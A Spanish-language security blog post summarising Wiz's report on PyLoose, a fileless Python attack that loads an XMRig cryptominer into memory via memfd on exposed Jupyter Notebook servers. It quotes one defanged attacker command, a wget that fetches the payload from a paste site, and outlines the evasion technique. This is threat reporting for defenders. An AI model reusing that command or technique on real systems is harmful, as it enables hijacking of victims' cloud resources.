Libera tu mente y alcanza tus metas
PyLoose, un ataque Fileless en Python para instalar minadores
PyLoose, un ataque Fileless en Python para instalar minadores

PyLoose, un ataque Fileless en Python para instalar minadores

Usando el sensor de tiempo de ejecución, la empresa Wiz detecto un nuevo ataque sin archivos dirigido a cargas de trabajo en la nube. El ataque consiste en un código de Python que carga un XMRig Miner directamente en la memoria usando memfd, una conocida técnica sin archivos de Linux. Hasta donde sabemos, este es el primer ataque sin archivos basado en Python documentado públicamente dirigido a cargas de trabajo en la nube en la naturaleza.

Llamaron PyLoose al ataques, según la URL que albergaba el cargador de Python (https://paste[.]c-net.org/chattingloosened).

A pesar de ser una técnica conocida, rara vez se informan nuevos ataques sin archivos dirigidos a cargas de trabajo en la nube. De hecho, la última actividad fue reportada hace dos años y medio por AT&T cuando TeamTNT aprovechó Ezuri, una herramienta de código abierto escrita en Go, para cargar una carga útil sin archivos.

Los ataques sin archivos son evasivos ya que no se basan en escribir cargas útiles en el disco. Estos ataques abusan de las capacidades del sistema operativo, como el sistema de archivos basado en RAM memfd de Linux, lo que dificulta su detección con las soluciones de seguridad tradicionales.

En esta publicación de blog, Wiz detalla el ataque PyLoose y la técnica sin archivos de Linux que utilizó el actor de amenazas, discuten las posibles motivaciones para este tipo de ataque y, por último, proporcionan los pasos para mitigar esta cadena de ataques.

Análisis PyLoose

PyLoose es un script de Python bastante simple que contiene un minero XMRig precompilado comprimido y codificado. El sensor de tiempo de ejecución de Wiz lo detectó por primera vez el 22 de junio de 2023. El mismo día, el script se cargó en VirusTotal desde Noruega, posiblemente por el atacante o una de las víctimas.

Acceso inicial

En este incidente, la víctima tenía un servicio Jupyter Notebook de acceso público. Aunque Notebook está diseñado para permitir la ejecución de código de Python, este servicio específico no pudo imponer la ejecución de comandos del sistema, incluso a través de módulos de Python como os y subprocess. Los actores de amenazas a menudo buscan entornos como estos, ya que a menudo es más fácil escanear Internet en busca de servicios expuestos públicamente que invertir mucho en atacar un objetivo desconocido.

Secuencias de comandos de Python

El atacante descargó la carga útil sin archivos de paste.c-net.org (un sitio web equivalente a Pastebin) en la memoria del tiempo de ejecución de Python al realizar una solicitud HTTPS GET de una manera que evita guardar el archivo en disco. Aunque observamos que el autor de la amenaza usó el comando wget -O- https[://]paste[.]c-net.org/chattingloosened en sus intentos iniciales, los datos sugieren que cambiaron a realizar esta solicitud en Python la mayor parte del tiempo.

Por qué los actores de amenazas usan ataques sin archivos

Los ataques sin archivos son más evasivos que los ataques que se basan en colocar una carga útil en el disco. Esto se debe a que son:

  • Más difícil de detectar: para detectar de forma efectiva el malware sin archivos en Linux, las organizaciones deben implementar soluciones de seguridad avanzadas que utilicen técnicas de monitoreo de memoria y análisis basadas en el comportamiento en tiempo de ejecución.
  • Más difícil de investigar: una vez detectada, el hecho de que la carga útil "vive" en la memoria complica el proceso de análisis forense, ya que el archivo debe volcarse de la memoria mientras el recurso está en funcionamiento. Por lo tanto, la naturaleza efímera de las cargas de trabajo en la nube dificulta aún más la investigación.
  • Menos común: como se mencionó anteriormente, los casos documentados de ataques sin archivos dirigidos a cargas de trabajo en la nube son raros. Como resultado, los equipos de seguridad pueden poner menos esfuerzo en la detección de este tipo de ataque.

Atribución

El atacante hizo todo lo posible para no ser rastreado mediante el uso de un servicio abierto de intercambio de datos para alojar la carga útil de Python, adaptando la técnica de ejecución sin archivos a Python y compilando un minero XMRig para incrustar su configuración para evitar tocar el disco o usar un comando revelador. 

Todos estos pasos sugieren que el adversario tiene un nivel de sofisticación que no se observa comúnmente en la mayoría de los ataques de carga de trabajo en la nube y documentados públicamente. Por lo tanto, no hay indicadores sólidos que puedan vincular este ataque a un actor de amenazas específico.

Fuente: Wiz